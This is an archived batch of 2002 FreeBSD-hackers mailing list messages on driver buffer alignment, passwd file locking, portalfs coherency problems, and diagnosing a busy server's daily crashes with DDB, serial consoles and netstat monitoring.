owner-freebsd-hackers Mon Jun 24 12:16:45 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 6F33137B484 for ; Mon, 24 Jun 2002 12:16:11 -0700 (PDT) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id g5OJG4f39051; Mon, 24 Jun 2002 12:16:04 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id g5OJG3O31261; Mon, 24 Jun 2002 12:16:03 -0700 (PDT) (envelope-from jdp) Date: Mon, 24 Jun 2002 12:16:03 -0700 (PDT) Message-Id: <200206241916.g5OJG3O31261@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: gallatin@cs.duke.edu Subject: Re: Re: bge driver issue In-Reply-To: <15639.28077.881363.884693@grasshopper.cs.duke.edu> References: <200206231552.g5NFqS002122@pacbell.net> <200206241645.g5OGjZH31049@vashon.polstra.com> <15639.28077.881363.884693@grasshopper.cs.duke.edu> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <15639.28077.881363.884693@grasshopper.cs.duke.edu>, Andrew Gallatin wrote: > > If the bge's API allows it, you could setup a receive descriptor with > a length of 14 bytes (size of ethernet header), and start the next > descripter 2 bytes after it (at a 16 byte offset from the front of the > mbuf). When the receive is done, just copy the 14 bytes. That was my first thought too, but unfortunately the device doesn't appear to support scatter-gather for received packets. I had another totally evil idea which isn't really feasible. Empirically, it appears that the buffer has to be aligned to an 8-byte boundary. Also empirically, it seems that when the buffer isn't aligned, only the part before the first 8-byte boundary is corrupted. So we could offset the buffer by 6 bytes. Then the only corruption would be in the first 2 bytes of the packet, i.e., the first two bytes of the destination ethernet address. If we could ignore promiscuous mode and multicast, we could guess those bytes based on our own Ethernet address ... nah, that's Just Too Evil. :-) John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 12:28:31 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sea-incorporated.com (caribbean.sea-incorporated.com [209.74.10.130]) by hub.freebsd.org (Postfix) with ESMTP id 6AE7837B403 for ; Mon, 24 Jun 2002 12:28:25 -0700 (PDT) Received: from sea-incorporated.com (localhost [127.0.0.1]) by sea-incorporated.com (8.12.3/8.12.3) with ESMTP id g5OJQa0t033932; Mon, 24 Jun 2002 15:26:36 -0400 (EDT) (envelope-from geoff@sea-incorporated.com) Received: from localhost (geoff@localhost) by sea-incorporated.com (8.12.3/8.12.3/Submit) with ESMTP id g5OJQZ4f033929; Mon, 24 Jun 2002 15:26:36 -0400 (EDT) Date: Mon, 24 Jun 2002 15:26:35 -0400 (EDT) From: "Geoffrey C. Speicher" To: Paul Herman Cc: "Matthew D. Fuller" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020624094952.R40562-100000@mammoth.eat.frenchfries.net> Message-ID: <20020624152524.C33806-100000@sea-incorporated.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 24 Jun 2002, Paul Herman wrote: > On Mon, 24 Jun 2002, Geoffrey C. Speicher wrote: > > > So we either need to have a compelling solution or get a > > committer to step in and make up our minds for us. > > I think the best thing to do is file a PR for this. With or without a patch? Geoff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 12:55:26 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mk-smarthost-1.mail.uk.tiscali.com (mk-smarthost-1.mail.uk.tiscali.com [212.74.114.37]) by hub.freebsd.org (Postfix) with ESMTP id 1933737B404 for ; Mon, 24 Jun 2002 12:55:20 -0700 (PDT) Received: from [212.1.156.27] (helo=basilisk.locus) by mk-smarthost-1.mail.uk.tiscali.com with esmtp (Exim 3.35 #1) id 17MZvD-000Pwm-00 for freebsd-hackers@freebsd.org; Mon, 24 Jun 2002 20:54:48 +0100 Received: from basilisk.locus (localhost [127.0.0.1]) by basilisk.locus (8.12.3/8.12.3) with ESMTP id g5OJtebS038678 for ; Mon, 24 Jun 2002 20:55:40 +0100 (BST) (envelope-from harry@basilisk.locus) Received: (from harry@localhost) by basilisk.locus (8.12.3/8.12.3/Submit) id g5OJt4GD038673; Mon, 24 Jun 2002 20:55:04 +0100 (BST) To: freebsd-hackers@freebsd.org Subject: status of portalfs From: Harry Newton Organization: GAUDEAMUS X-Op.135: Muss es sein ? Es muss sein X-Attribution: HN X-GnuPG-Fingerprint: 497E C8CD 0553 5EB4 1AE3 3BF5 D041 39E0 35E4 7F8B Date: 24 Jun 2002 20:55:04 +0100 Message-ID: <86adpkih9j.fsf@basilisk.locus> Lines: 12 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG LINT says that the portal filesystem is 'known to buggy'. I'm having a look at it, but can't get it to break ! Could someone give me an idea of the status of it, or where I could look ? Cheers, - Harry, who apologises if this isn't the right list. -- Harry Newton harry_newton at telinco . co . uk www . gaudeamus . telinco . co . uk / html / gpg . html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 13:30:49 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id B815937B400 for ; Mon, 24 Jun 2002 13:30:30 -0700 (PDT) Received: from pool0352.cvx22-bradley.dialup.earthlink.net ([209.179.199.97] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MaTM-00059C-00; Mon, 24 Jun 2002 13:30:05 -0700 Message-ID: <3D178124.192785D1@mindspring.com> Date: Mon, 24 Jun 2002 13:29:24 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Matthew D. Fuller" Cc: Paul Herman , "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] References: <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> <3D1662CC.FE6F6D49@mindspring.com> <20020624124039.GB59373@over-yonder.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Matthew D. Fuller" wrote: > Terry Lambert, and lo! it spake thus: > > > > The problem with your proposed patch is that it breaks the > > ability to allow authentication against the database while > > it is undergoing modification, which may be a prolonged period. > > Would it? > > For starters, this locks master.passwd, not spwd.db, so any well-behaved > program that used getpw*() like a good little monkey wouldn't even notice > it. In fact, with Paul's change and the rename() alteration, it'd be > BETTER for programs that tried to parse master.passwd, because as it > currently stands, there are times when it's incomplete (because of the > line-by-line copy, which caused us both a few moments of illness when we > noticed it). Whatever locking protocol you come up with needs to be partcipated in by everyone. Historically, passwd file manipulations have used link count locking. The real issue here is that there are a number of incremental file update utilities for managmenet of very large installations, and a large number of historical programs from places like comp.unix.sources that use file locks, rather than advisory range locks. Any locking protocol using advisory locking must lock out readers while there are writers. What you are really locking (or should be) is directory entries here, which means using the same exclusion space for the locking as you use for the update operation, which is a lock on the parent directory (e.g. as is used internally to the FS rename operation). --- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 13:41:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 55F2B37B400 for ; Mon, 24 Jun 2002 13:41:37 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5OKavt42692; Mon, 24 Jun 2002 13:37:02 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Mon, 24 Jun 2002 13:36:57 -0700 (PDT) From: Patrick Thomas To: Matthew Dillon Cc: Nielsen , , Terry Lambert Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: <200206241914.g5OJEttA096925@apollo.backplane.com> Message-ID: <20020624124558.T68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG A few items that deserve mention, and two questions: a) this problem occurred back when the machine had 2gigs in it - I actually (naively) added the third gig of physical ram to try to fix the problem. b) another machine of mine is now exhibiting the same bahavior - it has far fewer processes running (~500 vs ~1000) and it has only 2gigs of RAM. questions: 1) How do I give you an entire `ps` output from DDB ? Is there a way to output it to a floppy or something ? Or are you suggesting to copy down by hand ~1000 lines of ps output ? 2) Any other suggestions as to what it is - if it doesn't look like KVA, and I reduced my swap from 2gig to 256megs, and I reduced maxusers from 512 to 256 ... basically I have a perfectly healthy machine that crashes for no reason ? All of your help is greatly appreciated. It's just so frustrating to have it halt every day for no apparent reason - as you saw from the `top` output just as it halted the other day , the load is trivial. --PT On Mon, 24 Jun 2002, Matthew Dillon wrote: > Well, it should be noted that there are two things going on with swap. > What I adjusted was the size of the swap_zone, which holds swblocks. > These structures hold the VM->SWAP block mappings for things that are > swapped out. The swap zone eats a lot more KVA then the radix tree > holding the swap bitmaps. > > The actual swap bitmaps are allocated from the M_SWAP malloc pool. These > allocations are based on NSWAP * (largest_single_swap_area). NSWAP > is usually 4. > > Having a single 2GB swap area is therefore somewhat expensive, but still > nowhere near the size required to exhaust KVM (or even come close to > exhausting KVM). It is just as expensive as having 4 x 2GB swap areas > due to the way the bitmaps are allocated. The swap bitmaps eat around > 2 bits per 4K block of swap so a single 2GB of swap will eat > 2G/4K x 2 / 8 x NSWAP(4) = 0.5 MB of ram. Not very much. > > But, getting back to the swblocks... these use a zone, SWAPMETA > (vmstat -z | less, search for SWAPMETA). The zone reserves KVA. > A machine with 2GB of real memory will typically reserve around 10 MB > of KVA to hold swblocks. Previously it reserved 20-40 MB of KVA which > really ate into available KVA. It should not be a problem now but > it's very easy for you to check. Multiply the size (160) against the > LIMIT and you will get the approximate KVA reservation being used > for the SWAPMETA zone. > > -- > > Ok, history lesson over. Going over your original posting and the ps > you just posted from ddb> there is not enough information to make > any sort of diagnosis. It doesn't look like KVA exhaustion to me, > and the ps does not show any deadlocks. I'm not sure what is going > on. I think some more experimentation is necessary... e.g. breaking into > DDB after it deadlocks and doing a full 'ps' (don't leave anything out > this time), and potentially getting a kernel core dump (assuming you > compiled the kernel -g and have a kernel.debug lying around that we > can gdb the core against). > > -Matt > Matthew Dillon > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 14:27:34 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id 199D537B403 for ; Mon, 24 Jun 2002 14:27:28 -0700 (PDT) Received: from pool0352.cvx22-bradley.dialup.earthlink.net ([209.179.199.97] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MbMh-00022R-00; Mon, 24 Jun 2002 14:27:15 -0700 Message-ID: <3D178E89.AB893E72@mindspring.com> Date: Mon, 24 Jun 2002 14:26:33 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Nielsen , hackers@freebsd.org Subject: Re: (jail) problem and a (possible) solution ? References: <20020624112143.X68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > I made an initial change to the kernel of reducing maxusers from 512 to > 256 - you said that 3gig is right on the border of needing extra KVA or > not, so I thought maybe this unnecessarily high maxusers might be puching > me "over the top". However, as long as I was changing the kernel, I also > added DDB. > > The bad news is, it crashed again. The good news is, I dropped to the > debugger and got the wait channel info you wanted with `ps`. Here are the > last four columns of ps output for the first two pages of processes > (roughly 900 procs were running at the time of the halt, so of course I > can't give you them all, especially since I am copying by hand) > > 3 select c0335140 local > 3 select c0335140 trivial-rewrite > 3 select c0335140 cleanup > 3 select c0335140 smtpd > 3 select c0335140 imapd > 2 httpd > 2 httpd > 3 sbwait e5ff6a8c httpd > 3 lockf c89b7d40 httpd > 3 sbwait e5fc8d0c httpd > 2 httpd > 3 select c0335140 top > 3 accept e5fc9ef6 httpd > 3 select c0335140 imapd > 3 select c0335140 couriertls > 3 select c0335140 imapd > 2 couriertls > 3 ttyin c74aa630 bash > 3 select c0335140 sshd > 3 select c0335140 tt++ > > So there it all is. Does this confirm your feeling that I need to > increase KVA? Or does it show you that one of the one or two other low > probablity problems is occurring? Matt Dillon is right, that there's nothing conclusive in the information you've posted. However... it provides room for additional speculation. -- The number of "select" waits is reasonable. The "sbwait" makes me somewhat worried. It's obvious that you are running a large number of httpd's; the sbwait in this case could be reasonably assumed to be waits based on "sendfile" for a change in so->so_snd->sb_cc; if that's the case, then it may be that you are simply running out of mbufs, and are deadlocking. This can happen if you have enough data in the pipe that you can not receive more data (e.g. the m_pullup() in tcp_input() could fail before other things would fail). If this is too much assumption, you can walk the entry off the process, and see if it's the address of the sb_cc for so_snd or for so_rcv for the process in question. The way to cross-check this would be to run a continuous "netstat -m", e.g.: #!/bin/sh while true do netstat -m sleep 1 done When the lockup comes, the interesting numbers are: # netstat -m 3/64/5696 mbufs in use (current/peak/max): <-- #3 3 mbufs allocated to data 0/40/1424 mbuf clusters in use (current/peak/max) <-- #2 96 Kbytes allocated to network (2% of mb_map in use) 0 requests for memory denied <-- #1 0 requests for memory delayed 0 calls to protocol drain routines If there are a lot of denials, then you are out of mbuf memory and/or mbuf clusters (sendfile tends to eat clusters for breakfast; it's one of the reasons I dislike it immensely; the other is that the standards for the majority of wire protocols where you'd use it require CRLF termination, and UNIX text files have only LF termination). The current vs. peak vs. max will tell you how close to resource saturation you are. The ratio of clusters to mbufs will (effectively) tell you if you need to worry about adjusting the ratio because of sendfile. The "lockf" could (maybe) be a deadlock, but if it were, everyone would be seeing it; it's incredibly doubtful, as long as the "ps" output you indicated was at all accurate. Basically, if you have any denials, or if the number of mbuf clusters gets really large, then you could have a problem. It would also be interesting to see the output of: # sysctl -a | grep tcp | grep space net.inet.tcp.sendspace: 32768 net.inet.tcp.recvspace: 65536 A standard "netstat" would also tell you the contents of the "Recv-Q Send-Q" columns. If they were non-zero, then you would basically be able to tell how much memory was being consumed by network traffic in and out. I guess the best way to deal with this would be to drop the size of the send or receive queues, until it didn't consume all your memory. In general, the size of these queues is supposed to be a *maximum*, not a *mean*, so the number of sockets possible, times the maximum total of both, will often exceed the amount of available mbuf space. An interesting attack that is moderately effective on FreeBSD boxes is to send with a very large size, and not send one of the fragments (e.g. the second one) to prevent fragment reassembly, and therefore saturate the reassembly queue. The Linux UDP NFS client code does this unintentionally, but you could believe that someone might be doing it intentionally, as well, which would also work against TCP. It's doubtful that you are being hit by a FreeBSD targetted attack, however. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 14:33:42 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5482D37B400 for ; Mon, 24 Jun 2002 14:33:31 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5OLXUCV097592; Mon, 24 Jun 2002 14:33:31 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5OLXUht097591; Mon, 24 Jun 2002 14:33:30 -0700 (PDT) (envelope-from dillon) Date: Mon, 24 Jun 2002 14:33:30 -0700 (PDT) From: Matthew Dillon Message-Id: <200206242133.g5OLXUht097591@apollo.backplane.com> To: Patrick Thomas Cc: Nielsen , , Terry Lambert Subject: Re: (jail) problem and a (possible) solution ? References: <20020624124558.T68572-100000@utility.clubscholarship.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG :questions: : :1) How do I give you an entire `ps` output from DDB ? Is there a way to :output it to a floppy or something ? Or are you suggesting to copy down :by hand ~1000 lines of ps output ? If you have a couple of machines you can use a null-modem cable and make the target machine's console the serial port by adding the following line to the target machine's /boot/loader.conf: console="comconsole" (note: DDB will occur on the serial port now, not the main system console). Then on the machine you connected the serial port you can 'tip com1' (I think). If you don't have a com1 in /etc/remote you can add one: com1:dv=/dev/cuaa0:br#9600:pa=none: In anycase, this way the console will wind up on the serial port and you can leave yourself tipped in with a big window and then cut and paste when it drops into DDB> and you do the ps. The other thing you want to do is to make sure all your kernel builds are -g builds, which you can do by adding the following line to /usr/src/sys/i386/conf/ (I'm assuming from prior messages that you are familiar with building kernels): makeoptions DEBUG=-g I also recommend: options ALT_BREAK_TO_DEBUGGER This will produce a kernel.debug as well as a kernel binary (only 'kernel' is installed, but kernel.debug will remain sitting in the compile dir). ALT_BREAK_TO_DEBUGGER allows you to break into DDB> via the serial console by using ~ ^B (return, tilde, control-B) from your 'tip'. Finally, make sure the swap partition is large enough to hold main memory so the kernel dumps core, and use the 'dumpdev' option in /etc/rc.conf to set the dump device. For example: dumpdev="/dev/da0s1b" :2) Any other suggestions as to what it is - if it doesn't look like KVA, :and I reduced my swap from 2gig to 256megs, and I reduced maxusers from :512 to 256 ... basically I have a perfectly healthy machine that crashes :for no reason ? : :All of your help is greatly appreciated. It's just so frustrating to have :it halt every day for no apparent reason - as you saw from the `top` :output just as it halted the other day , the load is trivial. : :--PT I don't know but hopefully a full PS will give us a better window into the problem. Oh yah, you can also play with different memory configurations simply by setting a physical memory limit (<= actual physical ram in the box) in /boot/loader.conf, like this: hw.physmem="256m" -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 14:47:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.xs4all.nl (freebie.xs4all.nl [213.84.32.253]) by hub.freebsd.org (Postfix) with ESMTP id 8B51437B400; Mon, 24 Jun 2002 14:47:37 -0700 (PDT) Received: from freebie.xs4all.nl (localhost [127.0.0.1]) by freebie.xs4all.nl (8.12.3/8.12.2) with ESMTP id g5OLlZk6006769; Mon, 24 Jun 2002 23:47:36 +0200 (CEST) (envelope-from wkb@freebie.xs4all.nl) Received: (from wkb@localhost) by freebie.xs4all.nl (8.12.3/8.12.3/Submit) id g5OLlZJZ006768; Mon, 24 Jun 2002 23:47:35 +0200 (CEST) Date: Mon, 24 Jun 2002 23:47:35 +0200 From: Wilko Bulte To: Poul-Henning Kamp Cc: hackers@FreeBSD.ORG Subject: Re: 8" floppy drive anyone ? Message-ID: <20020624234735.A5205@freebie.xs4all.nl> Reply-To: wilko@FreeBSD.ORG References: <35670.1024442186@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <35670.1024442186@critter.freebsd.dk>; from phk@FreeBSD.ORG on Wed, Jun 19, 2002 at 01:16:26AM +0200 X-OS: FreeBSD 4.6-RC X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Jun 19, 2002 at 01:16:26AM +0200, Poul-Henning Kamp wrote: > > I have a bunch of 8" floppies I need to try to recover contents > from, is there anybody out there who has a 8" drive they'd be willing > to part with for $$ ? I have in my cellar an DSDD 8" drive I can hook up to my Uniflex box ;) What format/ fs structure do they have? -- | / o / /_ _ wilko@FreeBSD.org |/|/ / / /( (_) Bulte Arnhem, the Netherlands To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 14:52:35 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 1C11E37B401 for ; Mon, 24 Jun 2002 14:52:26 -0700 (PDT) Received: from pool0352.cvx22-bradley.dialup.earthlink.net ([209.179.199.97] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17Mbks-0006gL-00; Mon, 24 Jun 2002 14:52:15 -0700 Message-ID: <3D179464.4538513D@mindspring.com> Date: Mon, 24 Jun 2002 14:51:32 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Harry Newton Cc: freebsd-hackers@freebsd.org Subject: Re: status of portalfs References: <86adpkih9j.fsf@basilisk.locus> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Harry Newton wrote: > LINT says that the portal filesystem is 'known to buggy'. I'm having a > look at it, but can't get it to break ! Could someone give me an idea > of the status of it, or where I could look ? From the man page of "mount_portal": The portal daemon provides an open service. Objects opened under the portal mount point are dynamically created by the portal daemon according to rules specified in the named configuration file. Using this mechanism allows descriptors such as sockets to be made available in the filesystem namespace. This basically introduces the same cache coherency problems with read/write/mmap that you will have with any FS stacking, by way of the lack of explicit coherency notification having been removed as part of the switch to the unified VM and buffer cache code, a long time ago. THe problem is that there is a backing object behind your backing object, so there are two vm_object_t's that refer to the same data living in different pages (one in the upper vnode, one in the lower vnode -- either in a stack, or in the underlying FS which the descriptor being exported is a reference into). This can't be easily resolved with the introduction of an alias vm_object_t; in the first place, they are not reference counted, and in the second place, modification notifications are done by (effective) reverse lookup, which means that if I have A and B with a pointer to the same mapping, the VM system will only notify one, not both. If you need an "in the third place", it's that one of the most common bugs that had to be beaten out of the unified VM and buffer cache code was that of unintentional aliasing. Intentional aliasing would make such problems utterly impossible to locate or debug. So even if you could make the objects point at the same pages, you'd lose things like copy-on-write faults, which should be shared. [ Technically, the read/write operations in any stacked FS should really be implemented in terms of getpages/putpages in the implementation FS, but this really not there, and wouldn't work anyway, because of the notification problem ] Unfortunately, "msync" isn't going to do what you want. One option is to make sure that when you mmap the portalfs space, that the mmap is implemented with read/write. THis would involved a change to the "default VOPS" {get|put}page operations. It's also very ugly because of where it does and doesn't work. But this was the approach taken in the "nullfs" implementation, to mask the coherency problem, rather than correcting it. In theory, the "nullfs" should be able to use the referenced VM objects of the underlying FS directly, since it does not attempt non-linear remapping of address ranges, but in reality, the vm_object_t's are referenced directly out of the vnode pointer objects, rather than using an accessor function in upper level code, so that the access could be trapped an redirected. Mapping {get|put}pages into underlying read/write is actually exactly backwards, and kind of fossilizes incorrect behaviour into permanency, but it works without a reorganization of the VFS code. The upshot of this is that you can use it as it is, so long as you don't use any operations that operate on the backing objects via the VM system, and expect coherency (e.g. no mmap, no sendfile, etc.). > - Harry, who apologises if this isn't the right list. PRobably "FreeBSD-FS"... though it's also VM related. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 14:56:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 662B537B405 for ; Mon, 24 Jun 2002 14:56:18 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5OLqLd46015; Mon, 24 Jun 2002 14:52:21 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Mon, 24 Jun 2002 14:52:21 -0700 (PDT) From: Patrick Thomas To: Terry Lambert Cc: Nielsen , Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: <3D178E89.AB893E72@mindspring.com> Message-ID: <20020624143448.J68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > It's obvious that you are running a large number of httpd's; the Yes, we are running a lot of httpd's: ps auxw | grep httpd | wc -l = 288 > The way to cross-check this would be to run a continuous "netstat -m", > e.g.: Funny you should ask :) I was already doing that. Here is the output from a `netstat -m` run once per minute - the machine crashed sometime in the next 30-60 seconds after I got this output: 524/2576/34816 mbufs in use (current/peak/max): 500 mbufs allocated to data 24 mbufs allocated to packet headers 273/2254/8704 mbuf clusters in use (current/peak/max) 5152 Kbytes allocated to network (19% of mb_map in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines > Basically, if you have any denials, or if the number of mbuf > clusters gets really large, then you could have a problem. Do you think it is reasonable that the above netstat -m output could, within 30 or so seconds, ramp up to the bad situation you are describing ? Because it looks fairly benign to me... I have three questions: 1. Forgetting about my paticular problem for a moment, let's say you have to tune a machine to run 200+ httpd servers along with another 800 misc. processes, etc. What do you suggest setting, just to be safe (again, as a precaution - forgetting that in reality I am tryig to fix a sick machine) So far I have only tuned: In my kernel: maxusers=256 (was 512, change to 256 didn't help) options SHMMAXPGS=16384 options SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)" options SHMSEG=256 options SEMMNI=384 options SEMMNS=768 options SEMMNU=384 options SEMMAP=384 (all this SHM and SEM stuff is to run multiple postgres') and at boot time: sysctl -w jail.sysvipc_allowed=1 sysctl -w kern.ipc.shmall=65535 sysctl -w kern.ipc.shmmax=134217728 sysctl -w net.inet.tcp.syncookies=0 So anything obvious I am missing that you would tune for a 200+ http + 800 other processes machine? 2. Let's say I was being targeted by that effective attack you spoke of...any way to immunize myself ? 3. You spoke of: > # sysctl -a | grep tcp | grep space > net.inet.tcp.sendspace: 32768 > net.inet.tcp.recvspace: 65536 > > I guess the best way to deal with this would be to drop the size > of the send or receive queues, until it didn't consume all your > memory. In general, the size of these queues is supposed to be > a *maximum*, not a *mean*, so the number of sockets possible, > times the maximum total of both, will often exceed the amount of > available mbuf space. a) are you saying to collect these sysctls regularly and try to see their values right at the crash ? b) where do I "drop the size of the send or receive queues" ? (sysctl or kernel setting?) thank you very much. I will try to get a full `ps` tonight when it crashes again :( --PT > > An interesting attack that is moderately effective on FreeBSD > boxes is to send with a very large size, and not send one of > the fragments (e.g. the second one) to prevent fragment > reassembly, and therefore saturate the reassembly queue. The > Linux UDP NFS client code does this unintentionally, but you > could believe that someone might be doing it intentionally, > as well, which would also work against TCP. It's doubtful that > you are being hit by a FreeBSD targetted attack, however. > > -- Terry > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jun 24 14:57:28 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from core.icu.net.ua (core.icu.net.ua [212.1.72.3]) by hub.freebsd.org (Postfix) with SMTP id 7C6D037B4B1 for ; Mon, 24 Jun 2002 14:57:11 -0700 (PDT) Received: (qmail 1591 invoked from network); 24 Jun 2002 21:52:22 -0000 Received: from dial7.icu.net.ua (212.1.72.22) by core.icu.net.ua with SMTP; 24 Jun 2002 21:52:22 -0000 Date: Mon, 24 Jun 2002 19:12:51 +0400 From: "R.S.R" X-Mailer: The Bat! (v1.49) Reply-To: "R.S.R" Organization: Home Station X-Priority: 3 (Normal) Message-ID: <4424457970.20020624191251@icu.net.ua> To: freebsd-hackers@FreeBSD.ORG Subject: subscribe Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG subscribe To Unsubscribe: send mail to 